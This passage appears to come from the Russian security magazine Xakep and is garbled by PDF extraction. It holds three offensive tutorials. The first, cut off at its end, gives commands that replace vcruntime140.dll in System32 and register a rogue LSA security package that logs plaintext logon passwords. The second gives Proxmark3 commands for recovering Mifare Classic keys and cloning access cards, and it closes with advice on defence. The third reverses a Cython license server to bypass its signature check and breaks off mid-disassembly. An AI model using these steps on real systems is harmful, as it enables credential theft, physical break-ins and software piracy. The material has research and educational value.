на дис ке, а най ти спо соб сок рытия целевой биб лиоте ки из соот ветс тву юще го
клю ча реес тра.

Ком пилиру ем как DLL с кор рек тны ми экспор тами, получен ными
с помощью  (

/), и копиру ем резуль тат как .

Туда же кла дем исходную биб лиоте ку, пред варитель но пере име новав
в :

SharpDllProxy output_vcruntime140\vcruntime140_pragma.
c C:\WINDOWS\System32\vcruntime140.dll

output_vcruntime140\tmp50CA.dll

Cmd > move \windows\system32\vcruntime140.dll \windows\system32\v
cruntime140.dll.bak 
Cmd > copy output_vcruntime140\tmp50CA.dll \windows\system32\tmp50CA.
dll 
Cmd epos ll1 64> copy C:\R \D \x \Release\Dll1.dll \windows\system32\v
cruntime140.dll 

От мечу, что необя затель но класть ори гиналь ную пере име нован ную биб- 
лиоте ку  в  — дос таточ но при опре деле нии прагм

с экспор тами ука зать пол ный путь до либы.

tmp50CA.dll SYSTEM32

Те перь добав ляем  в качес тве про вай дера безопас ности

LSASS:

VMWSU.DLL

Cmd  /v 
 /d 

> reg add "hklm\system\currentcontrolset\control\lsa"
"Security Packages"
"kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0vmwsu" /t REG_
MULTI_SZ /f 

И вуаля — в реес тре зна чение клю ча Security Packages содер жит толь ко
легитим ные  DLL, одна ко при под груз ке VMWSU.DLL будет

заг ружать ся , которая заменит вызов
 сбор щиком паролей в откры том виде. При этом

работос пособ ность сис темы не пос тра дает, так как вызовы к 

 будут прок сировать ся до ори гиналь ной биб лиоте ки.

ïîä ïèñàí íûå

vcruntime140.dll
SpLsaModeInitialize

vcruntime140.
dll

Пе резаг ружа емся, логиним ся, про веря ем файл 

и, о боже, обна ружи ваем в нем толь ко что вве ден ный пароль!

C:\Temp\logged-pw.txt

Âûâîä
Мне уда лось обна ружить неболь шой зиродей для вир туаль ных машинок
с навешан ным VMware Tools. Нес мотря на то что этот кейс вряд ли сра бота ет
в боевых усло виях, все же я счи таю, что некото рые защит ные средс тва чрез- 
мерно довер чиво отно сят ся к активнос ти, исхо дящей от под писан ных обра- 
зов PE. А ведь ими тоже мож но манипу лиро вать!

https://xakep.ru/author/w0lfreak/
https://xakep.ru/author/snovvcrash/
https://learn.microsoft.com/en-us/windows/win32/api/ntsecpkg/nc-ntsecpkg-splsamodeinitializefn
https://github.com/Flangvik/SharpDllProxy
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/intercepting-logon-credentials-via-custom-security-support-provider-and-authentication-package
https://github.com/mgeeky/ShellcodeFluctuation/blob/cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main.cpp
https://xakep.ru/2022/06/17/shellcode-fluctuation/
https://gist.github.com/snovvcrash/8e2e0e0b04014c61c81761e0bddbc6ea


РАЗБИРАЕМ АТАКИ НА СКУД
MIFARE

Thund3rb0lt
Реверс-инженер 

@lexploit

ВЗЛОМ

Ког да прос тых иден тифика торов для кон- 
тро ля дос тупа ста новит ся недос таточ но,
мно гие дума ют о внед рении более совер- 
шенно го решения — Mifare. Но так ли эти
устрой ства безопас ны, как обе щает про- 
изво дитель? Поп робу ем разоб рать ся!

Mifare — мар ка семей ства бес контак тных иден тифика торов, при над лежащая
небезыз вес тной . Такие кар ты исполь зуют стан дарт ISO
14443 Type A и работа ют на час тоте 13,56 МГц.

NXP Semiconductors

На ISO 14443 Type A осно ван и про токол бан ков ских карт EMV. К счастью,
взло мать его нам ного слож нее, чем Mifare.

По яви лась тех нология Mifare дав но — в далеком 1994 году, но уже в 1996-
м ее ста ли исполь зовать для тран спортной сис темы в Сеуле, а впос ледс- 
твии — прак тичес ки вез де, где тре бова лись луч шие харак терис тики, чем мог
пре дос тавить .EM410X

Ча ще все го иден тифика торы Mifare мож но встре тить в СКУД, сис темах
общес твен ного тран спор та, а так же все воз можных прог раммах лояль нос ти.

На сегод няшний момент к семей ству Mifare отно сят ся сле дующие иден- 
тифика торы.

Èäåí- 

òèôèêà òîð

Îáú åì ïàìÿòè

(EEPROM)

Ðàç ìåð

UID

Êðèï òîãðà- 

ôèÿ

Mifare Classic 1/4 Кбайт 4/7 байт Crypto1

Mifare Ultralight 64/192 байт 7 байт Нет/DES/AES

Mifare Plus 2/4 Кбайт 4/7 байт Crypto1/AES

Mifare DESFire 2/4/8 Кбайт 7 байт DES/AES

На ибо лее час то в СКУД встре чает ся Mifare Classic 1K (1 Кбайт памяти, 4-бай- 
тный UID), поэто му я буду говорить имен но о нем.

ÑÒÐÓÊÒÓÐÀ ÄÀÍÍÛÕ

Струк тура дан ных в Mifare Classic 1K выг лядит сле дующим обра зом.

На ибо лее важен из сек торов нулевой, так как в нем, в самом пер вом бло ке
(как в сек торе, так и во всем иден тифика торе), зашита информа ция об UID
и про изво дите ле.

Вто рая по важ ности вещь — биты дос тупа (4 бай та), они опре деля ют
набор дей ствий, которые мож но совер шить с помощью клю чей A и B
(по 6 байт каж дый). А имен но:

чте ние бло ка;•
за пись в блок;•
уве личе ние или умень шение зна чения бло ка.•

INFO

Иног да ключ B может иметь «стран ные» зна чения,
которые невоз можно исполь зовать для ука зан ных
опе раций. Это го не сто ит пугать ся, так как ключ B
опци ональ ный и может исполь зовать ся для хра- 
нения про изволь ных дан ных.

«Ìàãè÷åñêèå» êàðòû
Как мы уже выяс нили в статье «

», ходить с ноут буком и Proxmark3 напере вес
во вре мя про ник новения на объ ект — не луч ший вари ант. Тре бует ся
решение, которое не осо бо выделя ется, в иде але — кар точка, которую
при необ ходимос ти мож но сде лать похожей на те, что исполь зуют ся в ком- 
пании.

СКУД гла зами хакера. Ата куем сис темы кон- 
тро ля дос тупа на осно ве RFID

Что ж, ока зыва ется, есть и такое! Называ ются подоб ные иден тифика торы
Magic card или Chinese backdoor (по вто рому наз ванию сра зу ста новит ся
ясно, где их мож но най ти). Они отли чают ся от обыч ных тем, что для записи
на такой кар те дос тупны все сек тора, вклю чая тот, в котором хра нит ся UID.
Цены на них, кста ти, не осо бо отли чают ся от их непере запи сыва емых «соб- 
рать ев», что не может не радовать.

К сожале нию, подоб ные палоч ки-выруча лоч ки дос тупны не для всех иден- 
тифика торов Mifare. К при меру, если на Mifare Classic 1K с 4-бай тным UID
най ти «магичес кую» кар ту не сос тавля ет тру да, то для тех же карт, но с 7-бай- 
тным UID подоб рать китай ский ана лог нам ного слож нее.

ÀÒÀÊÈ ÍÀ MIFARE

Пло хая новость: некото рые виды иден тифика торов Mifare прак тичес ки невоз- 
можно взло мать, да и таких мас штаб ных атак, как на EM410X, тут прос то
не сущес тву ет.

Хо рошая новость: взло мать Mifare все-таки мож но и некото рые ата ки все
еще дос тупны!

Ýìóëÿöèÿ è áðóòôîðñ UID
Смеш но, но иног да СКУД быва ет нас тро ена так, что для иден тифика ции
исполь зует ся лишь 7-бай тный UID, общий для всех осно ван ных на стан дарте
ISO 14443 Type A. В этом слу чае сис тема фун кци они рует поч ти так же, как и
с EM410X, а сле дова тель но, может сра ботать перебор иден тифика торов, сге- 
нери рован ных на осно ве валид ного.

Дос тать UID доволь но прос то — он всег да дос тупен для чте ния, и его лег- 
ко мож но вытащить, к при меру с помощью Proxmark3 коман дой .hf search

Áðóòôîðñ è ñòàíäàðòíûå êëþ÷è
Иден тифика торы, ког да они толь ко пос тупа ют к заказ чику, обыч но исполь зуют
стан дар тные клю чи, что бы их было лег ко интегри ровать в сис тему. Иног да
по счас тли вой слу чай нос ти 

 они оста ются неиз менны ми. Имен но такие клю чи сто ит
исполь зовать в пер вую оче редь.

или из-за раз гиль дяйства нас тра ивав шего сис- 
тему сот рудни ка

С этой целью при меня ется коман да для Proxmark3:  (счи тает ся

Legacy) или .

hf mf chk
hf mf fchk

Ес ли же клю чи подоб рать не уда лось, мож но исполь зовать хорошо зна комую
тебе ата ку по кас томно му сло варю (нап ример, )
с помощью коман ды .

сло варю дефол тных клю чей
hf mf chk -f <dictionary.dic>

Кста ти, брут форс клю чей — единс твен ная ата ка, офи циаль но под держи- 
ваемая на дан ный момент Flipper Zero. Имен но поэто му получе ние пол ного
дам па иден тифика тора длит ся так дол го и не всег да окан чива ется успе хом.

Но что делать, если иден тифика ция не огра ничи вает ся про вер кой UID?
Пра виль но: не сто ит отча ивать ся! Пол ное копиро вание Mifare 1K впол не воз- 
можно, так как шифр Crypto1 (на котором, собс твен но, и пос тро ена защита
это го типа иден тифика торов) под дает ся взло му.

Crypto1
Ес ли ты ничего не слы шал о Crypto1, это неуди витель но. Дан ный шифр был
раз работан NXP Semiconductors спе циаль но для Mifare и исполь зовал ся
с самого начала про изводс тва иден тифика торов. Реали зует ся этот алго ритм
аппа рат но и зашит внут ри каж дого исполь зующе го его тега.

Crypto1 пре дос тавля ет дос таточ ный уро вень защиты, пос коль ку работа ет
по прин ципу «security through obscurity» (безопас ность через неяс ность).
Но в 2008–2009 годах он был изу чен незави симы ми иссле дова теля ми,
которые наз вали его безопас ность, мяг ко говоря, «око лону левой». Их иссле- 
дова ния поз волили раз работать нес коль ко эффектив ных атак, о которых я
рас ска жу ниже.

Nested
Эта ата ка исполь зует одну из уяз вимос тей PRNG (Pseudo Random Number
Generator) алго рит ма Crypto1.

По нять, что иден тифика тор уяз вим к этой ата ке, мож но по зна чению поля
«Prng detection»  при про вер ке тега.weak

Ог ромным плю сом счи тает ся то, что эта ата ка может про водить ся офлайн, то
есть единс твен ное, что нуж но для ее выпол нения, — наличие валид ного
иден тифика тора. Единс твен ный минус: что бы ее про вер нуть, нуж но знать
хотя бы один ключ.

Итак, а в чем же уяз вимость? Если крат ко, то генера ция псев дослу чай ных
чисел осно вана на регис тре сдви га с линей ной обратной связью (РСЛОС,
англ. LFSR), в котором, если известен один из клю чей, мож но най ти количес- 
тво ите раций для слу чай ного зна чения.

За пус тить ата ку мож но с помощью такой коман ды:

  /  hf mf nested --1k -blk <номер блока> <-a -b> -k <ключ> 

Hardnested
Ес ли же в поле «Prng detection» зна чит ся , то сто ит при менить ата ку
hardnested.

hard

Эта коман да прак тичес ки ана логич на ата ке nested — она так же тре бует
одно го извес тно го клю ча любого сек тора и валид ный иден тифика тор.

WWW

Под робную информа цию об этой ата ке ты смо- 
жешь най ти в  Кар ло Мей ера.от чете

Ко ман да для запус ка: 

.

hf mf hardnested --blk <номер блока> <-a / -b>
-k <ключ> -- <атакуемый блок> <--ta / --tb>

Та ким обра зом, блок за бло ком, мож но получить все дан ные иден тифика- 
тора. Единс твен ный минус — это будет доволь но мед ленно.

Кста ти, у Proxmark3 сущес тву ет замеча тель ная фун кция , которая

будет выпол нять поч ти все дей ствия за тебя. Ты же в это вре мя можешь
занять ся более важ ными делами.

autopwn

Dark side
Но что делать, если извес тных клю чей нет, а ридер находит ся под прис таль- 
ным взгля дом сот рудни ков ЧОП? Пра виль но, исполь зовать !dark side

Эта ата ка сно ва экс плу ати рует недос татки PRNG, которые поз воля ют вос-
ста нав ливать клю чи из битов по сооб щени ям об ошиб ках.

Край не сущес твен ный минус это го метода зак люча ется в том, что он тре- 
бует очень мно го вре мени, но исполь зовать его для вос ста нов ления все го
иден тифика тора и не нуж но. Ведь пос ле получе ния одно го клю ча мож но при- 
менить ата ки hardnested или nested.

Ко ман да для запус ка: .hf mf darkside

Ïîëó÷åíèå êëþ÷åé èç ðèäåðà
Ес ли ни один из перечис ленных вари антов не сра ботал, оста ется пос- 
ледний — получе ние клю чей непос редс твен но из ридера.

Про ще все го сде лать это с помощью Flipper Zero.

Мож но извлечь клю чи из получен ных дан ных с помощью  или 
 (то же самое, но удоб нее) и исполь зовать их в опи сан ных ата ках.

mfkey32 Flipper
Lab

ÊÀÊ ÇÀÙÈÙÀÒÜÑß?

Итак, мы выяс нили, что Crypto1 край не небезо пасен. Конеч но, мож но внед- 
рить про вер ку на «магичес кие» кар ты, которая отсе чет часть попыток про ник- 
новения, но единс твен ный надеж ный метод на дан ный момент — перей ти
на более совер шенные иден тифика торы Mifare, к при меру Mifare Plus
или Mifare DESFire.

К сло ву, Mifare DESFire EV1 , так что при про екти- 
рова нии надеж ной СКУД сле дует отда вать пред почте ние Mifare DESFire EV2,
EV3 и им подоб ным.

уже под вергал ся ата кам

https://t.me/filexploit
https://ru.wikipedia.org/wiki/NXP_Semiconductors
https://xakep.ru/2023/07/14/pacs-rfid-hack/
https://xakep.ru/2023/07/14/pacs-rfid-hack/
https://github.com/zhovner/proxmark3-1/blob/master/client/default_keys.dic
http://www.cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf
https://eprint.iacr.org/2009/137.pdf
https://github.com/equipter/mfkey32v2
https://lab.flipper.net/
https://www.youtube.com/watch?v=ZSrOq40z1i8


ГИБРИДНАЯ
ЗМЕЯ

РЕВЕРСИМ ПРИЛОЖЕНИЕ 
НА CYTHON

МВК

ВЗЛОМ

По мимо Python, в дикой при роде водит ся
нес коль ко про изводных от него язы ков
прог рамми рова ния, облегча ющих написа- 
ние модулей и при ложе ний с исполь- 
зовани ем дру гого син такси са. Один
из таких про ектов — Cython, сво еоб разный
гиб рид Python и С. Сегод ня мы раз берем- 
ся, как работа ют при ложе ния на этом язы- 
ке, и поп робу ем взло мать одно из них.

WARNING

Статья написа на в иссле дова тель ских целях, име- 
ет озна коми тель ный харак тер и пред назна чена
для спе циалис тов по безопас ности. Автор
и редак ция не несут ответс твен ности за любой
вред, при чинен ный с при мене нием изло жен ной
информа ции. Исполь зование или рас простра- 
нение ПО без лицен зии про изво дите ля может
прес ледовать ся по закону.

Вся исто рия мирово го хакерс тва — это бес смыс ленная и бес пощад ная борь- 
ба двух про тивос тоящих групп (как ни стран но, но зачас тую это одни и те же
люди). Одни хакеры изо всех сил ста рают ся усложнить задачу ана лиза
исполня емо го кода и его ревер са дру гим хакерам: это называ ется обфуска- 
цией кода. В сво ей статье «

» я поделил ся наб людени ем, что для при веде ния строй- 
ного кросс-плат формен ного байт-кода в совер шенно безум ный нечита емый
вид дос таточ но ском пилиро вать его в натив c «опти миза цией».

Су ровая жаба. Изу чаем защиту Excelsior JET
для прог рамм на Java

Сло во «опти миза ция» я взял в кавыч ки потому, что, как пра вило, в подоб- 
ных слу чаях каж дая опе рация тре бует обвязки вок руг себя в виде десят ков
натив ных ассем блер ных инс трук ций, что во мно го раз раз дува ет ском пилиро- 
ван ный код. Оста ется толь ко верить на сло во мар кетин говым тес там, рапор- 
тующим о сред нем уве личе нии про изво дитель нос ти получен ного ском- 
пилиро ван ного кода.

Впро чем, задачу обфуска ции подоб ная «опти миза ция» реша ет на все сто,
пос коль ку ана лиз получен ного кода прев раща ется в жут кий гемор рой. В упо- 
мяну той выше статье этот под ход был опи сан при мени тель но к байт-коду
JVM, на этот раз объ ектом нашего иссле дова ния будет Python.

В сво ей статье « » я
упо минал мно гочис ленные попыт ки прик рутить к питону более-менее нор- 
маль ную ком пиляцию. Одна из таких попыток — .

Зме иная ана томия. Вскры ваем и пот рошим PyInstaller

про ект Cython
Осо бен ностью это го про екта, вер нее родитель ско го по отно шению к нему

, явля ется про межу точ ная тран сля ция скрип тового кода в код
С или C++, который уже ком пилиру ется в плат формен но зависи мый натив ный
код. Понят ное дело, что Cython — это не сов сем чис тый Python, а неч то сред- 
нее меж ду ним и C (к при меру, в нем мож но для опти миза ции кода задать
стро гую типиза цию перемен ных и атри бутов). Боль шинс тво ста тей в сети,
пос вящен ных это му чуду враж дебной тех ники, хва лят его за ско рость
исполне ния прог рамм и за удобс тво сов мести мос ти с С. Ну и объ ясня ют тем,
у кого ни того ни дру гого не наб люда ется, как и куда имен но надо исхитрить ся
пос тавить кос тыли, что бы нас тупило счастье. Мы же сло маем сис тему и поп- 
робу ем поковы рять ся в его внут ренней реали зации на при мере ревер са кон- 
крет ного при ложе ния, реали зован ного на Cython.

про екта Pyrex

Пос коль ку про ект кросс-плат формен ный, на этот раз мы возь мем некий
линук совый сер вер лицен зий: натив ную x86-биб лиоте ку фор мата ELF. Она
чита ет парамет ры лицен зии из закоди рован ного тек сто вого фай ла, и наша
задача — смо дели ровать лицен зию или обой ти ее про вер ку.

Нач нем с повер хностно го ана лиза нашего модуля . Пос коль ку про- 

межу точ ный фор мат кода — файл на язы ке С, то Detect It Easy нам не силь но
поможет — он все го-нав сего опре деля ет ком пилятор, которым был в ито ге
ском пилиро ван этот файл (в нашем слу чае GCC).

.so

И толь ко открыв модуль в IDA, мы обна ружи ваем его родс тво с Python
по импорти руемым питонов ским биб лиотеч ным фун кци ям и, в час тнос ти,
с Cython по харак терным суф фиксам  у имен._pyx_

Вид вос ста нов ленно го кода с неп ривыч ки слег ка пуга ет: даже в псев докоде
логика прог раммы кажет ся совер шенно безум ной. Вдо бавок нап рочь отсутс- 
тву ют пря мые вызовы фун кций и тек сто вых строк. C их поис ка мы и нач нем.
Кодиров ка лицен зии силь но напоми нает Base64. С уче том того, что стро ка

 при сутс тву ет в бинар ном фай ле, про буем рас кодиро вать лицен зию
этим алго рит мом. На пер вом эта пе нам везет — рас кодиро ван ная лицен зия
име ет впол не чита емый JSON-вид, и все ее поля нам зна комы (поля 

и  в ори гина ле нам ного длин нее):

base64

hostid
signature

{
"ip_address":"37.60.178.19",
"hostid":"46d0...1605",
"version":"3.21.11",
"expiry":"9999-01-01 10:00:00+00",
"limits":
 {
     "data:orig_volume":0,
     "data:quantity":0,
     "event:orig_volume":0,
     "event:quantity":0,
     "time:orig_volume":300000000,
     "time:volume":-1,
     "time:quantity":-1,
     "clients:accounts":5000,
     "clients:active":-1},
     "components":["billing","routing"],
     "on_exceed":"block",

      "signature": "2c5b...a107"
}

Вы зыва ет сом нение толь ко пос леднее поле  — это явно под пись

фай ла, без которой лицен зия счи тает ся невалид ной. Наше пред положе ние
под твержда ет и пря мой экспе римент: при изме нении зна чения любого
парамет ра (с пос леду ющим кодиро вани ем Base64) сер вер отка зыва ется
при нимать получен ную лицен зию с ошиб кой License le is incorrect. Итак,
наша задача упро щает ся до поис ка алго рит ма вычис ления сиг натуры фай ла
лицен зии. Для начала поп робу ем поис кать ссыл ки на стро ку 

в дизас сем бли рован ном коде:

signature

signature

... 

.rodata:00003EB8E 64 61 74 65 74 69 6D 65+__pyx_k_datetimext db 
'datetimext',0 
.rodata:00003EB99  ; const char _pyx_k_components[11] 
.rodata:00003EB99 63 6F 6D 70 6F 6E 65 6E+__pyx_k_components db 
'components',0 
.rodata:00003EBA4  ; const char _pyx_k_Got_SIGHUP[12] 
.rodata:00003EBA4 47 6F 74 20 53 49 47 48+__pyx_k_Got_SIGHUP db 'Got 
SIGHUP(',0 
.rodata:00003EBB0  ; const char _pyx_k_traceback[10] 
.rodata:00003EBB0 74 72 61 63 65 62 61 63+__pyx_k_traceback db 
'traceback',0 
.rodata:00003EBBA  ; const char _pyx_k_tool_name[11] 
.rodata:00003EBBA 5F 74 6F 6F 6C 5F 6E 61+__pyx_k_tool_name db '_
tool_name',0 
.rodata:00003EBC5  ; const char _pyx_k_signature[10] 
.rodata:00003EBC5 73 69 67 6E 61 74 75 72+__pyx_k_signature db 
'signature',0 
.rodata:00003EBCF  ; const char _pyx_k_root_path[10] 
.rodata:00003EBCF 72 6F 6F 74 5F 70 61 74+__pyx_k_root_path db 'root_
path',0 
.rodata:00003EBD9 00 00 00 00 00 00 00                    align 20h 
.rodata:00003EBE0  ; const char _pyx_k_reloading[16] 
.rodata:00003EBE0 29 2C 20 72 65 6C 6F 61+__pyx_k_reloading db '), 
reloading...',0 
.rodata:00003EBE0 64 69 6E 67 2E 2E 2E 00 
... 

Как видим, все тек сто вые стро ки прог раммы (вклю чая име на перемен ных,
клас сов, методов, атри бутов) сос редото чены в одном мес те и на каж дую
стро ку есть ссыл ка из неко ей гло баль ной струк туры . Что- 

бы не гадать на кофей ной гуще и разоб рать ся с фор матами дан ных пря мым
спо собом, уста новим себе Cython и поп робу ем ском пилиро вать тес товое
при ложе ние. Для это го выпол ним в кон соли коман ду

__pyx_string_tab

pip install Cython 

Пос ле успешной уста нов ки пакета поп робу ем ском пилиро вать прос той файл
, сум миру ющий две стро ки:test.pyx

string1="Hello"
helloworld=string1+"world"

Для его ком пиляции соз дадим еще один питонов ский файл  сле- 

дующе го содер жания:

setup.py

   from setuptools import setup
   from Cython.Build import cythonize

setup(
     ext_modules = cythonize("test.pyx")
)

Пос ле чего скор мим его питону:

python setup.py build_ext --inplace

Пос ле ком пиляции в содер жащем исходные фай лы катало ге появил ся ском- 
пилиро ван ный бинар ный модуль  и исходник
на C , в который был пре обра зован питонов ский файл 

перед ком пиляци ей в натив. Пла та за пре обра зова ние в натив ужас но велика,
отри цатель ная опти миза ция раз мера фай ла поража ет вооб ражение: из прос- 
того двухс троч ного кода, выпол няюще го единс твен ную опе рацию сум- 
мирова ния двух строк, получи лось более 150 Кбайт «сиш ного» тек ста
и более 20 Кбайт натив ного кода. Зато получен ный «сиш ный» код впол не под- 
дает ся ана лизу, безо всех обвя зок зна чимая часть кода (там даже ком мента- 
рии име ются) выг лядит вот так:

test.cp310-win_amd64.pyd
test.c test.pyx

/* "test.pyx":1
* string1="Hello"
* helloworld=string1+"world"
*/
      
   
if (PyDict_SetItem(__pyx_d, __pyx_n_s_string1, __pyx_n_s_Hello) < 0

) __PYX_ERR(0, 1, __pyx_L1_error)

 /* "test.pyx":2
* string1="Hello"
* helloworld=string1+"world"
*/
    

   
__Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_string1); if (

unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error)
 __Pyx_GOTREF(__pyx_t_2);
      

   
__pyx_t_3 = PyNumber_Add(__pyx_t_2, __pyx_n_s_world); if (unlikely(

!__pyx_t_3)) __PYX_ERR(0, 2, __pyx_L1_error)
 __Pyx_GOTREF(__pyx_t_3);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
       

  
if (PyDict_SetItem(__pyx_d, __pyx_n_s_helloworld, __pyx_t_3) < 0)

__PYX_ERR(0, 2, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;

А еще в коде есть опи сание нуж ной нам струк туры , содер- 
жащей все тек сто вые стро ки прог раммы:

__pyx_string_tab

    __Pyx_StringTabEntry __pyx_string_tab[] = {
         {&__pyx_n_s_, __pyx_k_, sizeof(__pyx_k_), 0, 0, 1, 1},
         {&__pyx_n_s_Hello, __pyx_k_Hello, sizeof(__pyx_k_Hello), 0, 0, 1,
1},
     

    
{&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback,

sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1},
     

    
{&__pyx_n_s_helloworld, __pyx_k_helloworld, sizeof(

__pyx_k_helloworld), 0, 0, 1, 1},
         {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}
,
         {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}
,
       
  
{&__pyx_n_s_string1, __pyx_k_string1, sizeof(__pyx_k_string1), 0,

0, 1, 1},
         {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}
,
         {&__pyx_n_s_world, __pyx_k_world, sizeof(__pyx_k_world), 0, 0, 1,
1},
         {0, 0, 0, 0, 0, 0, 0}
 };

Для каж дой тек сто вой стро ки в ней выделе на струк тура
, содер жащая ссыл ку на стро ку ( ), раз мер

этой стро ки и ссыл ку на соот ветс тву ющий ей питонов ский объ ект 

. Вооб ще говоря, ана логич ная таб лица есть и для методов,

но в нашем слу чае она пус та, пос коль ку наш при мер не содер жит ском- 
пилиро ван ных методов, весь исполня емый код его содер жится в фун кции

. Орга низа ция сло тов, модулей и методов в Cython
доволь но слож ная, поэто му не будем под робно раз бирать ее — жела ющие
могут сами на досуге поковы рять код и поиг рать с ком пилиру емы ми С фай- 
лами и вос ста нов ленны ми IDA исходни ками.

__Pyx_StringTabEntry __pyx_k_??
PyObject (

__pyx_n_s_??)

static CYTHON_SMALL_CODE int __pyx_pymod_exec_test(PyObject 
*__pyx_pyinit_module)

Вер немся же к нашему менед жеру лицен зий. Как мы видели выше, стро ка
 име ет свое имя иден тифика тора . Теперь

откры ваем мас сив  и ищем в нем струк туру, содер жащую
ссыл ку на :

"signature" _pyx_k_signature
__pyx_string_tab

_pyx_k_signature

.data:0000241BE0 00 00 00 00 00 00 00 00+  __Pyx_StringTabEntry <
offset __pyx_n_s_signature, \ 
.data:0000241BE0 01 00 01 00 00 00 00 00+                        
offset __pyx_k_signature, 0Ah, 0, 0, 1, 1>
.data:0000241BE0 00 5E 24 00 00 00 00 00+  __Pyx_StringTabEntry <
offset __pyx_n_u_signature, \ 
.data:0000241BE0 42 F0 03 00 00 00 00 00+                        
offset __pyx_k_signature, 0Ah, 0, 1, 0, 1>

Как видим, соот ветс тву ющий стро ке PyObject называ ется
. Авто мати чес кое наз начение ком пилято ром имен

по содер жимому строк весь ма полез но при ана лизе кода при ложе ния. Обра- 
ти вни мание: стро ке  соот ветс тву ют два эле мен та

, соот ветс тву ющие объ ектам 

и . Пер вый из них — прос то тек сто вая стро ка, а вто- 
рой — имя атри бута. Теперь най дем ссыл ки на них из кода. Наибо лее инте- 
рес на для нас ссыл ка из метода :

__pyx_n_s_signature

"signature"
__Pyx_StringTabEntry __pyx_n_s_signature
__pyx_n_u_signature

LicenseChecker.checkSign

.text:000025115 48 8B 7C 24 68           mov     rdi, [rsp+148h+arg] 

.text:00002511A 48 89 C6                 mov     rsi, rax 

.text:00002511D E8 AE 1F FE FF           call    _PyNumber_Add 

.text:000025122 48 85 C0                 test    rax, rax 

.text:000025125; r9 — результат сложения _PyNumber_Add 

.text:000025125 49 89 C1                 mov     r9, rax 

.text:000025128 0F 84 CC 0F 00 00        jz      loc_260FA 

.text:00002512E 48 8B 7C 24 68           mov     rdi, [rsp+148h+arg] 

.text:000025133 48 83 2F 01              sub     qword ptr [rdi], 1 

.text:000025137 0F 84 00 06 00 00        jz      loc_2573D 

.text:00002513D 

.text:00002513D  loc_2513D: 

.text:00002513D 48 8B 7C 24 60           mov     rdi, [rsp+148h+func] 

.text:000025142 48 C7 44 24 68 00 00 00+ mov     [rsp+148h+arg], 0 

.text:000025142 00 

.text:00002514B 48 83 2F 01              sub     qword ptr [rdi], 1 

.text:00002514F 0F 84 D2 05 00 00        jz      loc_25727 

.text:000025155 

.text:000025155  loc_25155: 

.text:000025155; attr_name ("key") 

.text:000025155 48 8B 35 BC 0A 22 00     mov     rsi, cs:__pyx_n_s_
key 
.text:00002515C; obj ("self") 
.text:00002515C 48 8B 7C 24 30           mov     rdi, [rsp+148h+__
pyx_v_self] 
.text:000025161; var_140 — результат сложения _PyNumber_Add 
.text:000025161 4C 89 4C 24 08           mov     [rsp+148h+var_140], 
r9 
.text:000025166 48 C7 44 24 60 00 00 00+ mov     [rsp+148h+func], 0 
.text:000025166 00 
.text:00002516F E8 CC 85 FE FF           call    __Pyx_PyObject_
GetAttrStr 
.text:000025174 48 85 C0                 test    rax, rax 
.text:000025177; rbp — __Pyx_PyObject_GetAttrStr(__pyx_v_self,__pyx_
n_s_key) 
.text:000025177 48 89 C5                 mov     rbp, rax 
.text:00002517A; r9 — результат сложения _PyNumber_Add 
.text:00002517A 4C 8B 4C 24 08           mov     r9, [rsp+148h+var_
140] 
.text:00002517F 0F 84 6E 0F 00 00        jz      loc_260F3 
.text:000025185 48 8B 05 EC BD 21 00     mov     rax, cs:PyDict_Type_
ptr 
.text:00002518C 48 39 45 08              cmp     [rbp+8], rax 
.text:000025190 0F 85 3F 0F 00 00        jnz     loc_260D5 
.text:000025196; key ("signature") 
.text:000025196 48 8B 35 A3 07 22 00     mov     rsi, cs:__pyx_n_u_
signature 
.text:00002519D; __Pyx_PyObject_GetAttrStr(__pyx_v_self,__pyx_n_s_
key) 
.text:00002519D 48 89 EF                 mov     rdi, rbp 
.text:0000251A0 E8 AB 93 FE FF           call    __Pyx_PyDict_GetItem 
.text:0000251A5 4C 8B 4C 24 08           mov     r9, [rsp+148h+var_
140] 
.text:0000251AA  loc_251AA: 
.text:0000251AA 48 85 C0                 test    rax, rax 
.text:0000251AD 48 89 44 24 60           mov     [rsp+148h+func], rax 
.text:0000251B2 0F 84 13 0F 00 00        jz      loc_260CB 
.text:0000251B8 48 8B 5D 00              mov     rbx, [rbp+0] 
.text:0000251BC; rsi — результат __Pyx_PyDict_GetItem(__Pyx_PyObject_
GetAttrStr(__pyx_v_self,__pyx_n_s_key),__pyx_n_u_signature) 
.text:0000251BC 48 89 C6                 mov     rsi, rax 
.text:0000251BF 48 8D 53 FF              lea     rdx, [rbx-1] 
.text:0000251C3 48 85 D2                 test    rdx, rdx 
.text:0000251C6 48 89 55 00              mov     [rbp+0], rdx 
.text:0000251CA 0F 84 39 05 00 00        jz      loc_25709 
.text:0000251D0  loc_251D0: 
.text:0000251D0; Результат сложения _PyNumber_Add 
.text:0000251D0 4C 89 CF                 mov     rdi, r9 
.text:0000251D3 BA 03 00 00 00           mov     edx, 3 
.text:0000251D8 4C 89 4C 24 08           mov     [rsp+148h+var_140], 
r9 
.text:0000251DD E8 CE 1F FE FF           call    _PyObject_
RichCompare 
.text:0000251E2 48 85 C0                 test    rax, rax 
.text:0000251E5 48 89 C5                 mov     rbp, rax 
.text:0000251E8 4C 8B 4C 24 08           mov     r9, [rsp+148h+var_
140] 
.text:0000251ED 0F 84 BC 0E 00 00        jz      loc_260AF 
.text:0000251F3 48 8B 7C 24 60           mov     rdi, [rsp+148h+func] 
.text:0000251F8 48 83 2F 01              sub     qword ptr [rdi], 1 
.text:0000251FC 0F 84 F6 04 00 00        jz      loc_256F8 
.text:000025202 
.text:000025202  loc_25202: 
.text:000025202 48 3B 2D 57 BD 21 00     cmp     rbp, cs:arg 
